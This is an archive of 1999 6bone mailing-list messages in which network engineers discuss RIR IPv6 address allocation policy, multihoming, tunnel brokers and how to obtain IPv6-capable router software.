Cc: Brian E Carpenter <brian@hursley.ibm.com>, David Kessens <david@Qwest.net>,
        Philip Smith <pfs@cisco.com>, 6bone@ISI.EDU, ipv6-wg@ripe.net,
        emayhugh@McLeodUSA.com, Kim Hubbard <kimh@arin.net>,
        Paul Wilson <pwilson@apnic.net>, Mirjam Kuhne <mir@ripe.net>,
        Bob Hinden <hinden@iprg.nokia.com>, Steve Deering <deering@cisco.com>,
        Tony Hain <tonyhain@microsoft.com>,
        Alain Durand <Alain.Durand@imag.fr>
In-Reply-To: <199904151621.SAA14785@birch.ripe.net>
References: <Your message of Thu, 15 Apr 1999 07:08:03 PDT.             <4.1.19990415065727.01be94e0@imap2.es.net>
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Daniel,

At 06:21 PM 4/15/99 +0200, Daniel Karrenberg wrote:
...
>PS: I do not understand you presenting this as a hidden agenda.  It has
>been out in the open and I have explained this to you personally during
>the last IETF. 

Sorry to have given the impression that this is something I just found out
about. You have definitely explained it to me and others at the recent IAB
meeting, and I appreciate your taking the time to do that. Of course that
doesn't mean that there is agreement with the approach. 

It was also the case that, at the IAB discussion, you and/or other RIR folk
present felt that it might not be necssary to take this approach if we
could control the land rush for TLAs/sTLAs (by methods such as 6bone
prequalification and tough entry policies). Unfortunately this tack in the
conversation wasn't folowed up due to time constraints. I have been waiting
to see the next draft to see what the updated thinking of the RIRs is while
also pursuing the 6bone prequalification process.

However, I am concerned about this approach for more than the social policy
stuff. When one does aggregation the way v6 does, it needs reasonably sized
NLA space to provide a decent level of aggregatable hierarchy below the
sTLA level for multiple levels of lower tier providers and their end-sites
below them. With the /29 sTLA slow start, as specified in RFC 2450, there
are only 19 bits of NLA to play with... a tight but reasonable tradeoff if
one imagined a two- or three-level hierarchy (sTLA and one or two levels of
NLA transits below). With a /35 sTLA it gets real tight as only 13 bits are
left to play with.

To summarize, I don't think the RIRs have any hidden agenda here, and do
hope the RIRs don't use the /35 system and stay with the /29 the IETF
process proposed to them.


Thanks,

Bob





From 6bone-owner  Thu Apr 15 10:35:12 1999
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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <199904151735.NAA0000007752@quarry.zk3.dec.com>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: edits on various web pages about ngtrans and 6bone relationship 
In-reply-to: Your message of "Thu, 15 Apr 1999 08:16:19 PDT."
             <4.1.19990415075532.01beb7a0@imap2.es.net> 
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sounds good..........
/jim

From 6bone-owner  Fri Apr 16 01:47:41 1999
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Organization: IBM Internet Division
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        David Kessens <david@Qwest.net>, Philip Smith <pfs@cisco.com>,
        6bone@ISI.EDU, ipv6-wg@ripe.net, emayhugh@McLeodUSA.com,
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Subject: Re: new IPv6 policy draft - real soon now
References: <199904151621.SAA14785@birch.ripe.net>
	 <Your message of Thu, 15 Apr 1999 07:08:03 PDT.             <4.1.19990415065727.01be94e0@imap2.es.net>
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Kim Hubbard wrote:
...
> Bob,
> 
> I understand your concerns but I honestly think you can accomplish your goals
> using the slow start method.  If an organization requesting address space can
> justify a larger block than a /35 for heirarchical reasons or other than they
> will receive it.  I believe many organizations will start out *very* slow
> at first so I don't see a reason to issue the entire sub-tla.  Instead, issuing
> a smaller block (8K+) will give the RIRs ample time to verify that the
> organizations are utilizing the space and sending reassignment info, etc.

Kim,

This is the argument you gave us in Minn. and I bought it, as long as 
it is *not* transformed later into an excuse for sub-allocating
the /29s and thereby inviting the creation of an IPv6 toxic waste
dump. That's why I'm eagerly awaiting the exact wording of the
new draft.

   Brian

From 6bone-owner  Fri Apr 16 01:52:01 1999
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Date: Fri, 16 Apr 1999 09:46:57 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM Internet Division
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To: Daniel Karrenberg <Daniel.Karrenberg@ripe.net>
CC: emayhugh@McLeodUSA.com, Bob Fink <fink@es.net>,
        David Kessens <david@Qwest.net>, Philip Smith <pfs@cisco.com>,
        6bone@ISI.EDU, ipv6-wg@ripe.net, Kim Hubbard <kimh@arin.net>,
        Paul Wilson <pwilson@apnic.net>, Mirjam Kuhne <mir@ripe.net>,
        Bob Hinden <hinden@iprg.nokia.com>, Steve Deering <deering@cisco.com>,
        Tony Hain <tonyhain@microsoft.com>,
        Alain Durand <Alain.Durand@imag.fr>
Subject: Re: new IPv6 policy draft - real soon now
References: <86256754.005BC95F.00@smtp2.mcld.net> <199904151659.SAA18451@birch.ripe.net>
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Daniel Karrenberg wrote:
...
> Of course it is not surprising that I raise the same concerns because
> I am responsible for one of the registries and we listen very closely
> to ther 1300+ ISPs from 70+ countries who are our members and fund
> our activities. They are who determine our policies.

Daniel, this is correct and as it should be. However the
interests of the ISPs include the state of the grass on the
common land, and specifically the avoidance of a toxic waste dump.
There the RIRs should IMHO take a view that is wider than
the sum of the views of the ISPs.

    Brian

From 6bone-owner  Fri Apr 16 04:28:04 1999
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To: 6bone@ISI.EDU
Subject: New draft from APNIC
From: Akira Kato <kato@wide.ad.jp>
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Folks,

A new draft from APNIC is available:
	http://www.apnic.net/drafts/ipv6

-- Akira Kato

From 6bone-owner  Mon Apr 19 07:49:23 1999
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Date: Mon, 19 Apr 1999 07:49:17 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new RIR IPv6 Assignment and Allocation draft out
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The new RIR IPv6 Assignment and Allocation draft is out and will be
circulated to all the lists shorly.


Bob


From 6bone-owner  Mon Apr 19 19:21:54 1999
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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <199904200221.WAA0000013287@quarry.zk3.dec.com>
To: Peter Tattam <peter@jazz-1.trumpet.com.au>
cc: deployment@ipv6.org, 6bone@ISI.EDU
Subject: Re: Announcement: Trumpet Fanfare released. 
In-reply-to: Your message of "Fri, 16 Apr 1999 22:30:47 +1000."
             <Pine.BSF.3.96.990416221848.2451A-100000@jazz-1.trumpet.com.au> 
Date: Mon, 19 Apr 1999 22:21:47 -0400
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Peter,

Congrats to you and Trumpet.  I firmly believe now we all need to ship.
Your leading the pack here and it is greatly appreciated by us who want IPv6
to succeed and soon............. IPv6 can't happen without shipping
products even with the best business case on paper.

/jim

From 6bone-owner  Tue Apr 20 18:09:47 1999
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Date: Tue, 20 Apr 1999 17:59:37 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new RIR IPv6 Assignment and Allocation Policy draft (16Apr99)
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Here is the new RIR IPv6 Assignment and Allocation Policy draft for your
comments by May 3:

<http://www.ripe.net/lir/registries/ipv6policy-draft-160499.html>


Please send your comments just to the list you receive this message on
(i.e., a simple reply). Hopefully this will minimize multiple copies being
sent. I'll make sure to gather comments from the various lists for any
composite reponse to the RIRs.


Thanks,

Bob


From 6bone-owner  Thu Apr 22 23:28:44 1999
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Date: Fri, 23 Apr 1999 16:28:28 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: deployment@ipv6.org, 6bone@ISI.EDU
Subject: ideas for automatic tunnel configs
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In the interests of increasing the ease of getting customers to hook up to
the 6bone, I am planning to build both ends of a tunnel client/server
mechanism.

Are there any places where I could start apart from the obvious RFC on
IPv6 tunnels?

I guess what I'd need would be a way to manage the tunnel end points
automatically without need for configuration.  Perhaps a higher layer TCP
or UDP protocol that would establish the tunnel and manage it.  Or perhaps
a special keep alive packet that could be sent to a tunnel concentrator
that would keep the tunnel open.

While there could be security implications with tunnel hijacking under
such a scheme at this early stage, the benefits of being able to
automatically hook up to the 6bone could outweigh the risks.

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Fri Apr 23 00:55:12 1999
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Date: Fri, 23 Apr 1999 09:52:13 +0200
To: Peter Tattam <peter@jazz-1.trumpet.com.au>, deployment@ipv6.org,
        6bone@ISI.EDU
From: Alain Durand <Alain.Durand@imag.fr>
Subject: Re: ideas for automatic tunnel configs
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 .au>
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At 16:28 23/04/99 +1000, Peter Tattam wrote:
>In the interests of increasing the ease of getting customers to hook up to
>the 6bone, I am planning to build both ends of a tunnel client/server
>mechanism.
>
>Are there any places where I could start apart from the obvious RFC on
>IPv6 tunnels?
>
>I guess what I'd need would be a way to manage the tunnel end points
>automatically without need for configuration.  Perhaps a higher layer TCP
>or UDP protocol that would establish the tunnel and manage it.  Or perhaps
>a special keep alive packet that could be sent to a tunnel concentrator
>that would keep the tunnel open.
>
>While there could be security implications with tunnel hijacking under
>such a scheme at this early stage, the benefits of being able to
>automatically hook up to the 6bone could outweigh the risks.

Have you look at the tunnel broker model?
draft-ietf-ngtrans-broker-00.txt

        - Alain.


From 6bone-owner  Fri Apr 23 04:40:36 1999
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Date: Fri, 23 Apr 1999 02:24:47 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM Internet Division
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To: deployment@ipv6.org
CC: 6bone@ISI.EDU
Subject: Re: Multi homing & NLAs.
References: <Pine.BSF.3.96.990420134241.19820G-100000@jazz-1.trumpet.com.au>
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I don't think we should worry about the singly addressed
version of multihoming. There's no reason to, since we can use
multiple addresses.

I think that a PASTE-like mechanism resolves the failover
problem that Perry was worrying about. And surely nobody writes
serious apps that depend on long-term TCP sessions surviving?
If you need that kind of assurance you build it into the app.

I take Jim's point that in some situations address selection
can be pretty subtle and it should be/must be addressed in its
own document.

But please let's not try and solve all this by tweaking the
address allocation policy. We have running code proof that
this is a broken solution.

    Brian


Peter Tattam wrote:
> 
> I'm sorry if I've confused people about the multihoming issue.  The
> discussion has helped me to resolve some issues but not others.
> 
> First some terminology issues for the discussion.
> 
> When I refer to "multi-homing",  I am using a broad definition of "being
> connected to the internet at more than one place in the internet
> topology".   This means that I could be connected at two or more points
> anywhere in the internet, and not restricted to a region.
> 
> When I refer to "multi-addressing" I am referring to the ability for a
> site to have more than one prefix which is accessible from the internet.
> i.e.  the addresses are public. A site would be called "multiply
> addressed" under this situation.  It may or may not be multiply homed.
> 
> If a site has only one prefix, I refer to it as being "singly addressed".
> 
> I think we can be agreed on those points - in this discussion anyway.
> 
> The way I see it, there are two ways to be multihomed, singly addressed
> and multiply addressed.  The way the multi homing operates with each model
> is distinctly different.
> 
> Now take the case of a multiply addressed site.  If we consider the IPv6
> network as a tree structure which the current 6bone routing policies
> encourage, then a site could be connected at two points on that tree.
> Packets would follow different paths on the tree based on which address
> were selected in the host by the source address selection policies of the
> hosts in that site.  I concede that router updates may be the best way of
> finding the "best" route if only *one* default route is advertised by the
> immediate routers in the site local network.  It does not solve the
> problem of long running connections though.  We cannot dictate to higher
> level protocols regarding this issue.  TCP for example is supposed to
> allow connections to remain active for an indefinite amount of time, even
> over network outages.  Without the ability for IPv6 to renumber active
> connections, then this will be a problem for multiply addressed sites,
> even if a defined way of obtaining the best source address can be found.
> 
> Now take the case of a singly addressed site.  While we have solved the
> long running TCP connection problem, I see there are other difficulties.
> 
> Can I explain by way of an example.
> 
> Say I have I am a site connected to two NLA's, each in themselves
> connected to two independent TLA's respectively.  I hope this diagram can
> do it justice.
> 
>       /--A----NLA1-----C----TLA1---E----\
> Site /                                   \The 6bone.
>      \                                   /
>       \--B----NLA2-----D----TLA2---F----/
> 
> The links are named "A" through "F".
> 
> I will use my own addresses for the example..
> 
> NLA1 is connected to VBNS  prefix 3FFE:2800::/24,
> NLA1 address is 3FFE:2804::/32
> 
> NLA2 is connected to Sprint prefix 3FFE:2900::/24
> NLA2 address is 3FFE:2901::/32
> 
> Now my site address from the VBNS side  3FFE:2804:1::/48
> and from the Sprint side                3FFE:2901:1::/48
> 
> If I only select only one address say 3FFE:2901:1::/48, then as long as I
> have a route both ways through the Sprint network (TLA2) then I'll have
> connectivity.  if link B, D or F goes down, I have a problem.  My
> understanding of the 6bone routing policy is that no addresses with
> prefixes longer than /24 are allowed to be advertised in the default free
> zone.  This means that even if I could get to the internet via VBNS
> (TLA1), routing policies preclude it.  If there was a peering arrangement
> between TLA1 & TLA2 or between NLA1 & NLA2 , then if either E or F went
> down I might still have connectivity as the two sites may exchange BGP
> information.  If however link A, B, C or D went down (which is more likely
> anyway), I have a problem unless NLA1 and NLA2 have a peering arrangement.
> Considering a worst case scenario where there are no peering arrangements
> whatsoever, a site multiply homed in this way would not work, mainly
> because of the default free zone rules that are currently in place.
> 
> In my understanding this differs significantly from current practice in
> the IPv4 world as a multiply homed site would have to have a routing entry
> in the default free zone to work.
> 
> I stress that this is not an IPv6 problem per se, but rather our
> application of current routing policy to IPv6.
> 
> My suggestion for this problem is to relax the default free zone rules in
> a controlled manner.  Under the quiescent state (all links up), the normal
> rules apply which would leave ethe default free zone small.  If however a
> site is down, there may be a need for a site which is inaccessible from
> one TLA to punch through to the DFZ via another TLA.  Is this planned
> routing practice, or is it forbidden? (or does BGP just work that way)
> 
> So in summary, both methods of multihoming have their problems.  For a
> multiply addressed site, there is the issue of selecting the best source
> address, and also the issue of preserving long running connections.  For a
> singly addressed site, there may be problems getting connectivity if
> default free zone rules are adhered to.
> 
> There is a side issue about source addressing which seems to have been a
> source of contention which I don't think has been particularly well
> defined at this point in time.  For it to work properly, all hosts in the
> site must participate in a controlled manner.  My opinion is that this is
> not something we can fix later, as it is a fundamental IPv6 stack issue.
> If we start deploying IPv6 stacks soon, we will have a problem as there
> will need to be a whole heap of upgrades when we've figured out how best
> it is to be done.  It's not an issue that can be sidelined by letting the
> router working groups solve it later - it affects everybody.
> 
> [ For me personally, multi homing is bad enough under current Ipv4
> practices.  We're a small ISP and we don't do it fully.  We have multiple
> connections, but traffic flows out via static routes and quite
> arbitrarily. We certainly don't use multi addressing because communicating
> that to the hosts would be a nightmare.  I am told internal BGP could
> solve our problem, but the routing table sizes make it prohibitive with
> the limited sized routers which we run. ]
> 
> With larger ISP's I believe multi homing is essential to the quality of
> their service so if they were to switch to IPv6, they would have a need to
> do it and do it soon.
> 
> Once we've worked all this out, perhaps we need to put together a multi
> homing how-to fact sheet so that this issue doesn't have to get thrashed
> out yet again.
> 
> Does this explain things better?
> 
> --
> Peter R. Tattam                            peter@trumpet.com
> Managing Director,    Trumpet Software International Pty Ltd
> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
> 
> ---------------------------------------------------------------------
> The IPv6 Deployment Mailing List
> Unsubscribe by sending "unsubscribe deployment" to majordomo@ipv6.org


From 6bone-owner  Fri Apr 23 14:51:57 1999
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Date: Fri, 23 Apr 1999 17:46:19 -0400
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        6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: 100th IPv6 tunnel!
Cc: support@freenet6.net
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Hi,
	On our IPv6 tunnel server (http://www.freenet6.net), we just hit today the
100th client getting a (free) IPv6 tunnel!

	Well, this is one kind of progress for IPv6 deployment:  We didn't
advertise our IPv6 tunnel server up to now, and have that much of tunnels. 

Regards, Marc.

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
Internet Engineering Standards/Normes d'ingénierie Internet
               http://www.normos.org
------------------------------------------------------------


From 6bone-owner  Fri Apr 23 21:21:06 1999
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Date: Sat, 24 Apr 1999 14:20:47 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: Brian E Carpenter <brian@hursley.ibm.com>
cc: deployment@ipv6.org, 6bone@ISI.EDU
Subject: Re: Multi homing & NLAs.
In-Reply-To: <371FCBDF.E6DAF7F4@hursley.ibm.com>
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On Fri, 23 Apr 1999, Brian E Carpenter wrote:

> I don't think we should worry about the singly addressed
> version of multihoming. There's no reason to, since we can use
> multiple addresses.
> 
> I think that a PASTE-like mechanism resolves the failover
> problem that Perry was worrying about. And surely nobody writes
> serious apps that depend on long-term TCP sessions surviving?
> If you need that kind of assurance you build it into the app.
> 
> I take Jim's point that in some situations address selection
> can be pretty subtle and it should be/must be addressed in its
> own document.
> 
> But please let's not try and solve all this by tweaking the
> address allocation policy. We have running code proof that
> this is a broken solution.

I fully understand and would not realy want to alter it.  However to
sustain the policy,  we need to solve the source address problems.
Firstly selection of source address which appears to be manageable, and
secondly modifying the source address of long running tcp connections.

I stand by my firm opinion that it is not acceptable to insist on higher
layers having to reestablish a tcp connection in the case of a network
outage.   It will cause significant disruption to a wide array of existing
applications that rely on state information being bound to the tcp/ip
connection.

By solving one problem, we create a problem elsewhere in the IP framework. 
I don't believe this is progress, and if enough people perceive the issue
in the wrong way.... well, I'm not going to say any more as I will get
blasted again. 

Peter

> 
>     Brian
> 
> 
> Peter Tattam wrote:
> > 
> > I'm sorry if I've confused people about the multihoming issue.  The
> > discussion has helped me to resolve some issues but not others.
> > 
> > First some terminology issues for the discussion.
> > 
> > When I refer to "multi-homing",  I am using a broad definition of "being
> > connected to the internet at more than one place in the internet
> > topology".   This means that I could be connected at two or more points
> > anywhere in the internet, and not restricted to a region.
> > 
> > When I refer to "multi-addressing" I am referring to the ability for a
> > site to have more than one prefix which is accessible from the internet.
> > i.e.  the addresses are public. A site would be called "multiply
> > addressed" under this situation.  It may or may not be multiply homed.
> > 
> > If a site has only one prefix, I refer to it as being "singly addressed".
> > 
> > I think we can be agreed on those points - in this discussion anyway.
> > 
> > The way I see it, there are two ways to be multihomed, singly addressed
> > and multiply addressed.  The way the multi homing operates with each model
> > is distinctly different.
> > 
> > Now take the case of a multiply addressed site.  If we consider the IPv6
> > network as a tree structure which the current 6bone routing policies
> > encourage, then a site could be connected at two points on that tree.
> > Packets would follow different paths on the tree based on which address
> > were selected in the host by the source address selection policies of the
> > hosts in that site.  I concede that router updates may be the best way of
> > finding the "best" route if only *one* default route is advertised by the
> > immediate routers in the site local network.  It does not solve the
> > problem of long running connections though.  We cannot dictate to higher
> > level protocols regarding this issue.  TCP for example is supposed to
> > allow connections to remain active for an indefinite amount of time, even
> > over network outages.  Without the ability for IPv6 to renumber active
> > connections, then this will be a problem for multiply addressed sites,
> > even if a defined way of obtaining the best source address can be found.
> > 
> > Now take the case of a singly addressed site.  While we have solved the
> > long running TCP connection problem, I see there are other difficulties.
> > 
> > Can I explain by way of an example.
> > 
> > Say I have I am a site connected to two NLA's, each in themselves
> > connected to two independent TLA's respectively.  I hope this diagram can
> > do it justice.
> > 
> >       /--A----NLA1-----C----TLA1---E----\
> > Site /                                   \The 6bone.
> >      \                                   /
> >       \--B----NLA2-----D----TLA2---F----/
> > 
> > The links are named "A" through "F".
> > 
> > I will use my own addresses for the example..
> > 
> > NLA1 is connected to VBNS  prefix 3FFE:2800::/24,
> > NLA1 address is 3FFE:2804::/32
> > 
> > NLA2 is connected to Sprint prefix 3FFE:2900::/24
> > NLA2 address is 3FFE:2901::/32
> > 
> > Now my site address from the VBNS side  3FFE:2804:1::/48
> > and from the Sprint side                3FFE:2901:1::/48
> > 
> > If I only select only one address say 3FFE:2901:1::/48, then as long as I
> > have a route both ways through the Sprint network (TLA2) then I'll have
> > connectivity.  if link B, D or F goes down, I have a problem.  My
> > understanding of the 6bone routing policy is that no addresses with
> > prefixes longer than /24 are allowed to be advertised in the default free
> > zone.  This means that even if I could get to the internet via VBNS
> > (TLA1), routing policies preclude it.  If there was a peering arrangement
> > between TLA1 & TLA2 or between NLA1 & NLA2 , then if either E or F went
> > down I might still have connectivity as the two sites may exchange BGP
> > information.  If however link A, B, C or D went down (which is more likely
> > anyway), I have a problem unless NLA1 and NLA2 have a peering arrangement.
> > Considering a worst case scenario where there are no peering arrangements
> > whatsoever, a site multiply homed in this way would not work, mainly
> > because of the default free zone rules that are currently in place.
> > 
> > In my understanding this differs significantly from current practice in
> > the IPv4 world as a multiply homed site would have to have a routing entry
> > in the default free zone to work.
> > 
> > I stress that this is not an IPv6 problem per se, but rather our
> > application of current routing policy to IPv6.
> > 
> > My suggestion for this problem is to relax the default free zone rules in
> > a controlled manner.  Under the quiescent state (all links up), the normal
> > rules apply which would leave ethe default free zone small.  If however a
> > site is down, there may be a need for a site which is inaccessible from
> > one TLA to punch through to the DFZ via another TLA.  Is this planned
> > routing practice, or is it forbidden? (or does BGP just work that way)
> > 
> > So in summary, both methods of multihoming have their problems.  For a
> > multiply addressed site, there is the issue of selecting the best source
> > address, and also the issue of preserving long running connections.  For a
> > singly addressed site, there may be problems getting connectivity if
> > default free zone rules are adhered to.
> > 
> > There is a side issue about source addressing which seems to have been a
> > source of contention which I don't think has been particularly well
> > defined at this point in time.  For it to work properly, all hosts in the
> > site must participate in a controlled manner.  My opinion is that this is
> > not something we can fix later, as it is a fundamental IPv6 stack issue.
> > If we start deploying IPv6 stacks soon, we will have a problem as there
> > will need to be a whole heap of upgrades when we've figured out how best
> > it is to be done.  It's not an issue that can be sidelined by letting the
> > router working groups solve it later - it affects everybody.
> > 
> > [ For me personally, multi homing is bad enough under current Ipv4
> > practices.  We're a small ISP and we don't do it fully.  We have multiple
> > connections, but traffic flows out via static routes and quite
> > arbitrarily. We certainly don't use multi addressing because communicating
> > that to the hosts would be a nightmare.  I am told internal BGP could
> > solve our problem, but the routing table sizes make it prohibitive with
> > the limited sized routers which we run. ]
> > 
> > With larger ISP's I believe multi homing is essential to the quality of
> > their service so if they were to switch to IPv6, they would have a need to
> > do it and do it soon.
> > 
> > Once we've worked all this out, perhaps we need to put together a multi
> > homing how-to fact sheet so that this issue doesn't have to get thrashed
> > out yet again.
> > 
> > Does this explain things better?
> > 
> > --
> > Peter R. Tattam                            peter@trumpet.com
> > Managing Director,    Trumpet Software International Pty Ltd
> > Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
> > 
> > ---------------------------------------------------------------------
> > The IPv6 Deployment Mailing List
> > Unsubscribe by sending "unsubscribe deployment" to majordomo@ipv6.org
> 
> 

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Sat Apr 24 06:50:38 1999
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From: Gregg Levine <hansolofalcon@worldnet.att.net>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>,
        "'MSResearch'"
	 <MSRIPV6-USERS@LIST.RESEARCH.MICROSOFT.COM>,
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	 <deployment@ipv6.org>
Subject: Browsers that support IPv6 either as native or with a translator service active
Date: Sat, 24 Apr 1999 09:49:18 -0400
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Hello from Gregg Levine usually at Jedi Knight  Computers
(This message is being cross posted to the 6Bone list at ISI, and the 
Microsoft Research Lists and the Deployment list for IPv6, so if you 
receive mail from all three as I do, then I apologize in advance.)
And the question is: Does anyone know of a browser that supports IPv6, 
preferably as native, or even as with a translator service? I am aware of 
such a translator, it is for MS IE4.0x for Windows, but I which to study 
the behavior of others first. Also the stack, that I have chosen may not be 
compatible with the MS IE4.0x product. It isn't the one for WinNT, and 
Win2000, as I do not have access to a platform to do the actual 
installation, and developement there. Please feel free to contact me, 
either directly, or indirectly, I will accept complaints, and other 
statements of intent.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
This signature supports the Rebel Alliance to Restore the Republic
"They were in the wrong place at the wrong time, naturally they became 
heroes."
Princess Leia Organa of Alderaan, Senator
"Remember, the Force will be with you, always."
General Obi-Wan Kenobi, Jedi Knight (retired)


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CXElJUppGAQSgQIAY3AAAAMAEBAAAAAAAwAREAAAAAADAIAQ/////0AABzCADslsVo6+AUAACDCA
DslsVo6+AQsAAIAIIAYAAAAAAMAAAAAAAABGAAAAAAOFAAAAAAAAAwACgAggBgAAAAAAwAAAAAAA
AEYAAAAAEIUAAAAAAAADAAWACCAGAAAAAADAAAAAAAAARgAAAABShQAA8xUAAB4AJYAIIAYAAAAA
AMAAAAAAAABGAAAAAFSFAAABAAAABQAAADguMDQAAAAAAwAmgAggBgAAAAAAwAAAAAAAAEYAAAAA
AYUAAAAAAAALAC+ACCAGAAAAAADAAAAAAAAARgAAAAAOhQAAAAAAAAMAMIAIIAYAAAAAAMAAAAAA
AABGAAAAABGFAAAAAAAAAwAygAggBgAAAAAAwAAAAAAAAEYAAAAAGIUAAAAAAAAeAEGACCAGAAAA
AADAAAAAAAAARgAAAAA2hQAAAQAAAAEAAAAAAAAAHgBCgAggBgAAAAAAwAAAAAAAAEYAAAAAN4UA
AAEAAAABAAAAAAAAAB4AQ4AIIAYAAAAAAMAAAAAAAABGAAAAADiFAAABAAAAAQAAAAAAAAAeAD0A
AQAAAAEAAAAAAAAAAwANNP03AABS1w==

------ =_NextPart_000_01BE8E37.FFBEEA80--


From 6bone-owner  Mon Apr 26 10:25:43 1999
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Date: Mon, 26 Apr 1999 18:25:29 +0100 (WET DST)
From: Rute Sofia <rsofia@rccn.net>
To: 6bone@ISI.EDU
Subject: IPv6 assignment and Allocation Policy Document 
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I've read the IPv6 Assignment and Allocation Policy Document and think 
it is quite resonable now :-), at least for what concerns the initial 
deployment. However, I have some considerations:

in point 4.2.2, "Criteria for sub-TLA Allocations in Transitional 
Bootstrap phase", point a. states that "the requesting organization's 
network...with at least three other public AS in the default-free zone".

What is meant by "default-free zone"?

I also think that it is of major importance in IPv6 to have section 6., 
DNS and Reverse Address Mapping in the initial deployment document.

There is also the question of the now pseudo-TLA: even though I suppose 
that most of us are under the conditions of point 4.2.1, nothing is said 
about pseudo-TLA. Do we have to request for a sub-TLA again? Or what 
will be needed is only to renumber?

	Thanks,
		Rute Sofia


From 6bone-owner  Mon Apr 26 12:52:59 1999
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Subject: cisco IPv6
To: 6bone@ISI.EDU
Date: Mon, 26 Apr 1999 22:52:47 +0300 (EEST)
From: Alexei Akimov <mitra@ukr.net>
Organization: UkrNet Ltd. <Technical Support>
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Hi dear 6bone community!

I would like to install IPv6 on my Cisco 3620 router. 
What IOS shall I need? Would anyone be so kind to share his
expirience in setup?

-- 
Wishing all the best,
Alexei Akimov AA914-RIPE                                  Best Known As M1tRA
E-Mail: mitra@ukr.net ICQ: 2655858      +380 (44) 235-85-55 UkrNet Ltd., Kiev

From 6bone-owner  Mon Apr 26 13:17:23 1999
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Date: Mon, 26 Apr 1999 12:57:32 -0700
To: mitra@ukr.net, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: cisco IPv6
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At 10:52 PM 4/26/99 +0300, Alexei Akimov wrote:
>Hi dear 6bone community!
>
>I would like to install IPv6 on my Cisco 3620 router. 
>What IOS shall I need? Would anyone be so kind to share his
>expirience in setup?

To start with you need the cisco betga ios for v6 that's at:

	<http://www.cisco.com/kobayashi/sw-center/beta/>


but you will need the Cisco CCO loging and passwd for your Cisco support account.


Bob


From 6bone-owner  Mon Apr 26 19:27:29 1999
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Date: Tue, 27 Apr 1999 11:30:41 +0900
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Dear Bob Rink,

I tried with CCO login account, password
to get beta-IOS for IPv6.
But the screen of my workstation required
a Access Code.
I asked the Access Code to cisco korea company.
But they didn't know.
Will you give me any information to get the
Access Code to get any IPv6 IOS.

Thank you.

Bob Fink wrote:

> At 10:52 PM 4/26/99 +0300, Alexei Akimov wrote:
> >Hi dear 6bone community!
> >
> >I would like to install IPv6 on my Cisco 3620 router.
> >What IOS shall I need? Would anyone be so kind to share his
> >expirience in setup?
>
> To start with you need the cisco betga ios for v6 that's at:
>
>         <http://www.cisco.com/kobayashi/sw-center/beta/>
>
> but you will need the Cisco CCO loging and passwd for your Cisco support account.
>
> Bob



--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Mon Apr 26 19:57:19 1999
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To: ksbn@kt.co.kr
Cc: fink@es.net, 6bone@ISI.EDU
Subject: Re: cisco IPv6
From: Akira Kato <kato@wide.ad.jp>
In-Reply-To: Your message of "Tue, 27 Apr 1999 11:30:41 +0900"
	<37252151.96ECF948@kt.co.kr>
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Dear Kim:

The CCO account may not be issued to cisco customers not in U.S.
I am afraid you may have the same situation in Korea.

I suggest you to contact with Cisco Korea if any or with your
cisco resaller to obtain information about IPv6-capable IOS.
In Japan, Nihon-Cisco offers it to Japanese cisco customers who
satisfy some technical criteria.

-- Akira Kato, WIDE Project

From 6bone-owner  Tue Apr 27 02:08:29 1999
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Date: Tue, 27 Apr 1999 11:08:03 +0200 (CEST)
From: Ronald van der Pol RVDP <Ronald.vanderPol@surfnet.nl>
To: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
cc: deployment@ipv6.org, ngtrans@sunroof.eng.sun.com, users@ipv6.org,
        6bone@ISI.EDU, support@freenet6.net
Subject: Re: 100th IPv6 tunnel!
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On Fri, 23 Apr 1999, Marc Blanchet wrote:

> Hi,
> 	On our IPv6 tunnel server (http://www.freenet6.net), we just hit today the
> 100th client getting a (free) IPv6 tunnel!
> 
> 	Well, this is one kind of progress for IPv6 deployment:  We didn't
> advertise our IPv6 tunnel server up to now, and have that much of tunnels. 

Congratulations! I thought your idea was to setup more tunnel servers
in various countries. Is that still your intended setup? If so, is your
server software available for downloading? We would like to setup a
IPv6 tunnel service.

	rvdp


From 6bone-owner  Tue Apr 27 04:30:40 1999
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Date: Tue, 27 Apr 1999 13:31:46 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: RE: 100th IPv6 tunnel!
To: "'Ronald van der Pol RVDP'" <Ronald.vanderPol@surfnet.nl>
Cc: "'deployment@ipv6.org'" <deployment@ipv6.org>,
        "'ngtrans@sunroof.eng.sun.com'" <ngtrans@sunroof.eng.sun.com>,
        "'users@ipv6.org'" <users@ipv6.org>, "'6bone@isi.edu'" <6bone@ISI.EDU>
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Hi Ronald,

another IPv6 Tunnel Broker server is available here 
at CSELT (https://carmen.cselt.it/ipv6tb) and our 
software is available for downloading at the following URL:

   http://carmen.cselt.it/ipv6/download.html

